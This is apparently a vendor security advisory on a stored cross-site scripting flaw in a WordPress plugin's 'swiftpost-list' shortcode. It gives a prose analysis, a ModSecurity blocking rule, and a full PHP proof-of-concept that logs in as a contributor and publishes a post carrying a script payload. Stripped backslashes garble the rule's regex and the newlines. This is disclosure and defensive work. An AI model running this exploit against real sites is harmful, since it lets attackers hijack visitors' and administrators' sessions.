Atomic Edge analysis of CVE-2026-4022 (metadata-based):
The Show Posts List plugin for WordPress contains an authenticated stored cross-site scripting vulnerability in versions up to 1.1.0. The vulnerability exists in the plugin’s ‘swiftpost-list’ shortcode handler. Attackers with contributor-level permissions or higher can inject malicious scripts via the ‘post_type’ shortcode attribute. These scripts execute when any user views a page containing the compromised shortcode.
Atomic Edge research indicates the root cause is insufficient input sanitization and output escaping on user-supplied shortcode attributes. The plugin likely registers the shortcode using WordPress’s add_shortcode() function. The callback function probably directly echoes or prints the ‘post_type’ attribute value without proper escaping. This inference aligns with CWE-79 patterns where user input reaches output functions like echo, print, or printf without escaping. The vulnerability description confirms insufficient sanitization and escaping, but the exact code path remains unverified without source access.
Exploitation requires an authenticated attacker with contributor privileges. The attacker creates or edits a post or page using the WordPress editor. They insert the ‘swiftpost-list’ shortcode with a malicious ‘post_type’ attribute. A payload like [swiftpost-list post_type=’alert(document.domain)’] would inject JavaScript. The script executes in visitors’ browsers when they view the compromised page. Attackers could also use more advanced payloads for session hijacking or administrative actions.
Remediation requires implementing proper output escaping on all user-controlled shortcode attributes. The plugin should use WordPress escaping functions like esc_attr() for HTML attributes and esc_html() for text content. Input validation should restrict the ‘post_type’ parameter to valid post type slugs. The patched version should also implement capability checks within the shortcode handler, though WordPress core already restricts shortcode usage based on user editing permissions.
Successful exploitation allows attackers to perform actions within the context of affected users’ sessions. Malicious scripts can steal session cookies, redirect users to phishing sites, or modify page content. Attackers with contributor access cannot directly edit others’ posts, but stored XSS enables privilege escalation by targeting administrators. The CVSS vector indicates scope change (S:C), meaning the vulnerability can impact components beyond the plugin’s security scope.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-4022 (metadata-based)
# This rule blocks exploitation attempts via the vulnerable 'swiftpost-list' shortcode
# The rule targets the 'post_type' parameter in post content submissions
SecRule REQUEST_METHOD "@streq POST"
"id:1004022,phase:2,deny,status:403,chain,msg:'CVE-2026-4022: Show Posts List Plugin Stored XSS via shortcode',severity:'CRITICAL',tag:'CVE-2026-4022',tag:'WordPress',tag:'Plugin',tag:'XSS'"
SecRule REQUEST_URI "@rx /wp-admin/post.php|/wp-json/wp/v2/(posts|pages)"
"chain"
SecRule REQUEST_BODY "@rx [swiftpost-list[^]]*post_types*=[^]]*[<>'"](script|javascript|onw+)s*[:=]"
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4022 - Show Posts list <= 1.1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode
<?php
/**
* Proof of Concept for CVE-2026-4022
* Assumptions based on vulnerability description:
* 1. Plugin registers shortcode 'swiftpost-list'
* 2. 'post_type' attribute accepts unsanitized input
* 3. Contributor-level users can create/edit posts with shortcodes
* 4. WordPress REST API or admin-ajax.php handles post creation
*/
$target_url = 'http://target-wordpress-site.com'; // CONFIGURE THIS
$username = 'contributor_user'; // CONFIGURE THIS
$password = 'contributor_password'; // CONFIGURE THIS
// Payload to inject - modify as needed
$malicious_payload = '<script>alert(`Atomic Edge XSS Test: ${document.domain}`)</script>';
// Step 1: Authenticate and obtain nonce (required for WordPress REST API)
$auth_url = $target_url . '/wp-json/jwt-auth/v1/token';
$auth_data = array(
'username' => $username,
'password' => $password
);
$ch = curl_init($auth_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($auth_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
$auth_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code !== 200) {
// Fallback to traditional authentication if JWT not available
echo "JWT authentication failed. Attempting traditional login...n";
// Note: Full traditional login requires cookie handling - omitted for brevity
echo "This PoC requires JWT authentication or custom cookie handling.n";
exit;
}
$auth_data = json_decode($auth_response, true);
$token = $auth_data['token'] ?? '';
if (empty($token)) {
echo "Authentication failed. No token received.n";
exit;
}
// Step 2: Create a post with malicious shortcode
$post_url = $target_url . '/wp-json/wp/v2/posts';
$post_content = "This post contains the vulnerable shortcode.nn[swiftpost-list post_type='" . $malicious_payload . "']nnView this post to trigger XSS.";
$post_data = array(
'title' => 'Test Post with XSS Payload',
'content' => $post_content,
'status' => 'publish'
);
$ch = curl_init($post_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'Authorization: Bearer ' . $token
));
$post_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code === 201) {
$post = json_decode($post_response, true);
echo "Success! Post created with ID: " . $post['id'] . "n";
echo "View the post at: " . $post['link'] . "n";
echo "The XSS payload should execute when the page loads.n";
} else {
echo "Failed to create post. HTTP Code: " . $http_code . "n";
echo "Response: " . $post_response . "n";
}
?>
